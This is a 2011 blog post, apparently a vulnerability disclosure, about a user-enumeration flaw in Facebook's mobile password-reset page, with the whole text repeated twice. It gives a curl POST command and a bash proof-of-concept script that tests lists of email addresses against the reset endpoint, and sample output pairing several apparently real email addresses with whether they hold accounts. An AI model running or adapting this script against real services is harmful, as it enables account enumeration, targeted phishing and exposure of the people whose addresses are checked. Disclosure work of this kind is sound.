Facebook password recovery
Am Wednesday, 3. Aug 2011 im Topic 'Vulnerabilities'
Step by step:
- - Go to http://m.facebook.com
- - Go to "Forgot your password" (http://m.facebook.com/reset.php?refid=0)
- - Try using a real email address and try to use a fake email address,
you will see two differents behavior.
Well, now try to do a POST request to
http://m.facebook.com/reset.php?refid=0 passing a email address through
"ep" variable.
Using cURL:
curl -s -d "ep=test () mail com" http://m.facebook.com/reset.php?refid=0
This process has no validation for external or forgery site/form.
Using the script:
#--------------------
#!/bin/bash
for mail in $(cat $1);
do
s=$(curl -s -d "ep=$mail" http://m.facebook.com/reset.php?refid=0|grep
form>/dev/null);
if [ $? -eq 0 ]; then
echo "$mail No tiene cuenta.";
else
echo "$mail Si tiene cuenta.";
fi
done
#+----- EOF ------+
You can ennumerate users by using a list of email address or phone numbers.
$ sh poc.sh mails.txt
putita666 () yahoo com NO
chapalapachala () gmail com YES
esteban.gutierrez () gmail com YES
casatola () gmail com YES
casacasa () gmail com NO
berpnarf () hotmail com NO
asdfgsdfgerT () asdfgh com NO
by
Zerial
- - Go to http://m.facebook.com
- - Go to "Forgot your password" (http://m.facebook.com/reset.php?refid=0)
- - Try using a real email address and try to use a fake email address,
you will see two differents behavior.
Well, now try to do a POST request to
http://m.facebook.com/reset.php?refid=0 passing a email address through
"ep" variable.
Using cURL:
curl -s -d "ep=test () mail com" http://m.facebook.com/reset.php?refid=0
This process has no validation for external or forgery site/form.
Using the script:
#--------------------
#!/bin/bash
for mail in $(cat $1);
do
s=$(curl -s -d "ep=$mail" http://m.facebook.com/reset.php?refid=0|grep
form>/dev/null);
if [ $? -eq 0 ]; then
echo "$mail No tiene cuenta.";
else
echo "$mail Si tiene cuenta.";
fi
done
#+----- EOF ------+
You can ennumerate users by using a list of email address or phone numbers.
$ sh poc.sh mails.txt
putita666 () yahoo com NO
chapalapachala () gmail com YES
esteban.gutierrez () gmail com YES
casatola () gmail com YES
casacasa () gmail com NO
berpnarf () hotmail com NO
asdfgsdfgerT () asdfgh com NO
by
Zerial